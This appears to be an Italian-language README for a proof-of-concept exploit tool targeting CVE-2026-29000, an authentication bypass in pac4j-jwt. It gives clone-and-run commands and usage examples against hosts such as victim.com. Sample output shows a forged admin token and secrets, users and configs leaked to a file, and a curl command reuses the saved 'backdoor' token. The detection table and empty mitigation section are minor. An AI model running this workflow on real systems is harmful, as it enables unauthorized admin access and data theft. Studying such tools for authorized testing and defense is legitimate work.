
CVE-2026-29000 – Bypass dell'autenticazione di pac4j-jwt (🔥 CVSS 10.0). Forgiatura dell'admin in un clic tramite wrapping JWE con chiave pubblica. Espone configurazioni, utenti, segreti. Keep-alive, proxy, JWKS personalizzati.⚙️ Strumento di Exploit PoC educativo.
CVE-2026-29000 - Creazione Admin con un Click tramite JWT alg:none + Crittografia JWE
Questo exploit sfrutta CVE-2026-29000, una vulnerabilità critica con CVSS 10.0 nella libreria pac4j-jwt. Estratta la chiave pubblica JWKS del server e forgiato un token JWE crittografato con alg: none, ottiene un bypass completo dell'autenticazione e concede privilegi amministrativi totali in un clic.
alg:none, lo avvolge con la chiave pubblica del server| Libreria | Versioni Affette | Versioni Corrette |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
⚠️ Disclaimer: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e attività red-team.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt: text
requests>=2.31.0 urllib3>=2.0.0 pyjwt>=2.8.0 cryptography>=41.0.0 jwcrypto>=1.5.0 colorama>=0.4.6
python exploit.py --target https://victim.com:8443
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
python exploit.py -t https://legit.com:8443 --ssl-verify
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit ║
║ The Educational One‑Click Admin Forge ║
║ CVSS 10.0 - CRITICAL ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key
[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe
[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me
[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt
[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Public Key Acquisition │
│ ├── Discover JWKS endpoint (15+ known paths) │
│ ├── Fetch JWK containing RSA public key │
│ └── Convert JWK → PEM format │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 2: Token Forging │
│ ├── Create JWT with alg: "none" │
│ ├── Inject admin claims (ROLE_ADMIN, admin: true) │
│ └── Encrypt JWT into JWE using server's public key │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 3: Authentication Bypass │
│ ├── Send JWE as Bearer token │
│ ├── Test 8+ protected endpoints │
│ └── Extract session cookie │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 4: Information Exfiltration │
│ ├── Enumerate 20+ sensitive API paths │
│ ├── Collect configs, users, secrets, environment │
│ └── Save all to leak file │
├─────────────────────────────────────────────────────────────────┤
│ Keep-Alive: Ping /api/ping every N seconds │
└─────────────────────────────────────────────────────────────────┘
Dopo lo sfruttamento, usa il token JWE salvato con curl:
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
| Metodo di Rilevamento | Indicatore |
|---|---|
| Analisi Log | JWT con alg: none nei log di audit |
| Monitoraggio Rete | Richieste endpoint JWKS da IP sconosciuti |
| Controllo Versione | curl /actuator/info | grep pac4j |
Mitigazione:
| Argomento | Breve | Obbligatorio | Predefinito | Descrizione |
|---|
| --target | -t | Sì | - | URL del target (es. https://example.com:8443) |
| --jwks | -k | No | auto-detect | Percorso personalizzato endpoint JWKS |
| --output | -o | No | None | Salva token JWE forgiato su file |
| --leak | -l | No | leaked_TIMESTAMP.txt | Salva dati trapelati su file |
| --verbose | -v | No | False | Abilita output di debug |
| --proxy | -p | No | None | Proxy HTTP/HTTPS |
| --user-agent | -ua | No | Mozilla/5.0... | User-Agent personalizzato |
| --no-keep-alive | - | No | False | Disabilita keep-alive sessione |
| --delay | - | No | 5.0 | Intervallo ping keep-alive (secondi) |
| --max-retries | - | No | 3 | Massimi tentativi per richiesta fallita |
| --ssl-verify | - | No | False | Verifica certificati SSL |